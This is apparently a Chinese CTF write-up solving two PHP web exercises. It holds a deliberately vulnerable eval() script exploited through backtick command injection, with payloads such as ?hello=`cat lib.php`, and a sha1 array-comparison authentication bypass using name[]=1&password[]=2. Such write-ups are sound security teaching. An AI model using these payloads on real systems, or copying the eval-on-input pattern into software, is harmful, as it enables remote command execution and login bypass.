4、习题4
题目内容如下:
<?php
error_reporting(0);
show_source(__FILE__); $a = @$_REQUEST['hello'];
eval("var_dump($a);");
函数解释
$REQUEST — HTTP Request 变量,默认情况下包含了 [$GET],[$POST] 和 [$COOKIE]的数组。
var_dump() var_dump() 函数用于输出变量的相关信息。var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
eval() 函数把字符串当作php 代码来执行
代码分析
总的来说就是eval函数来执行命令,从而获取flag。但是var_dump() 函数执行后,无法被eval函数当作php代码执行,因此,需要在var_dump() 函数执行的之后,就完成类似于 whoami这样的命令执行。
理解测试:
执行下面的代码,会直接打印字符
php -r "eval(var_dump('whoami'));"
但是 反引号位 (`) 是可以执行命令的
因此执行下面代码,会输出root 等用户名
php -r "eval(var_dump(`whoami`));"
所以可以构造执行命令,查找当前含有flag 的文件,然后读物文件来获取flag
构造ls命令,获取当前目录文件 index.php和lib.php
?hello=`ls`
读取 lib.php 文件的内容
?hello=`cat lib.php`
显示内容长度为41,但是没有看到内容,右键查看源代码,得到flag ,原来是被注释掉了
flag{yczxtsadjadljada}
使用tac 命令,可以直接输出flag
5、习题5
题目内容如下
代码如下:
<?php
if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>';
}
else{ echo '<p>Login first!</p>';
?>
经过代码分析,可以知道,首先GET 传入两个值,一个name 另一个password 首先就是这两个参数的值不一样,不然$GET['name'] == $GET['password'] 就会报错,接着,name和password 的sha1 的值要相等,并且这个相等采用了 === ,即不能采用弱类型比较===只有在相同类型下,才会比较其值。这样满足条件后,才能输出flag
函数解释:
die() 函数输出一条消息,并退出当前脚本。该函数是exit()函数的别名。
有意思的是 sha1不能处理数组,构造paylaod
name[]=1&password[]=2
当我们传入name[]=1&password[]=2时,会造成sha1(Array) === sha1(Array),即NULL===NULL,从而吐出flag
Flag: flag{tczdaljdasnqw}